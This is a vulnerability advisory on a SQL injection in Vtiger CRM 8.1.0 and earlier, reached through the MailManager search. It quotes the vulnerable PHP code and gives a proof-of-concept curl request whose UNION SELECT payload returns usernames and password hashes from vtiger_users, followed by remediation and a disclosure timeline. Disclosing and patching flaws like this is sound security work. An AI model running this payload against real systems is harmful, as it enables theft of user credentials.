Vtiger CRM (<= 8.1.0) SQL Injection in MailManager module

Summary

Vtiger CRM <= 8.1.0 does not properly sanitize user input before using it in a SQL statement, leading to a SQL injection in the CompanyDetails operation of the MailManager module.

CVE(s)

Product description (from vendor)

“Vtiger all-in-one CRM empowers you to align your marketing, sales and support teams with unified customer data powered by One View. CRM made easy. Vtiger is built around a Open Source core. We remain committed to growing and nurturing the community”

Details

Root cause analysis

Vtiger uses the MailManager::lookupMailInVtiger function to search a term inside of its database. This function builds SQL queries with a “WHERE LIKE” condition using string concatenation, one for each enabled module, to perform the search.

Each module-specific SQL query is then fed to the vtws_query function, which parses it and converts each module “field” inside the query to the respective table and column of the SQL database.

If one of the queries is malformed or its structure is different from the one that vtws_query expects (for example due to an injection), a parsing error is triggered and execution is halted. The vtws_query function also checks the privileges and read access of the user performing the query.

Nonetheless, if the target module is the Users one and the user is not an administrator, the query is passed to the pquery function instead, that performs it on the DBMS directly without any validation.

This can be noticed in the code below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
...snip...
for($i=0; $i<php7_count($searchFieldList); $i++) {
	if($i == php7_count($searchFieldList) - 1) {
		$where .= sprintf($searchFieldList[$i]." like '%s'", $searchTerm);
	} else {
		$where .= sprintf($searchFieldList[$i]." like '%s' or ", $searchTerm);
	}
}
if(!empty($where)) $where = "WHERE $where";
if($referenceModule == 'Users' && !is_admin($user)){
	//Have to do seperate query since webservices will throw permission denied for users module for non admin users
	global $adb;
	$where .= " AND vtiger_users.status='Active'";
	$query = "select $searchFieldListString,id from vtiger_users $where";
	$dbResult = $adb->pquery($query,array());
	$num_rows = $adb->num_rows($dbResult);
	$result = array();
	for($i=0;$i<$num_rows;$i++) {
		$row = $adb->query_result_rowdata($dbResult,$i);
		$id = $row['id'];
		$webserviceId = vtws_getWebserviceEntityId($referenceModule, $id);
		$row['id'] = $webserviceId;
		$result[] = $row;
	}
}else{
	$result = vtws_query("select $searchFieldListString from $referenceModule $where;", $user);
}
...snip...

In order to exploit the SQL injection however, the resulting query must not trigger a parsing error when performed against other enabled modules.

Turns out that by chaining this to a Broken Access Control in the Migration component, allows a low-privileged to unload all the modules except the Users one and exploit the SQL injection successfully.

Proof-of-concept

  1. Log into the Vtiger portal as an administrative user and disable all modules in Settings -> CRM Settings -> Module Management -> Modules but the Users one.
  2. Then log into the portal as a non administrative user.
  3. Copy the PHPSESSID cookie value and the value of the __vtrftk parameter used in the requests.
  4. Execute the following POST request exporting the target Vtiger CRM domain, the low privileges user cookie and a valid anti-CSRF token:
1
2
3
4
export RHOST=https://TARGET
export COOKIE=<cookie>
export TOKEN=<csrf-token>
curl -s -b "PHPSESSID=${COOKIE}" --data-binary "__vtrftk=${TOKEN}&module=MailManager&view=Index&_operation=search&_operationarg=email&q=%25\'+UNION+ALL+select+id,id,user_name,user_password+from+vtiger_users%3b--+" "${RHOST}/index.php"
  1. Notice the SQL Injection result in the server response containing usernames and password hashes obtained from the database.

Impact

An authenticated attacker can leak sensitive data from the Vtiger database.

Remediation

Upgrade to Vtiger CRM 8.2.0 or later.

Patched in commit.

Disclosure timeline

This report was subject to Shielder’s disclosure policy:

  • 09/02/2024: initial report is sent to support@vtiger.com.
  • 16/02/2024: Vtiger acknowledges the issue and begins the triage process.
  • 20/03/2024: Vtiger is able to reproduce the issue and develops a patch.
  • 15/05/2024: Vtiger publishes the patched version the code.
  • 28/08/2024: Shielder’s advisory is published.

Credits

This advisory was first published on https://www.shielder.com/advisories/vtiger-mailmanager-sqli/

Date

28 August 2024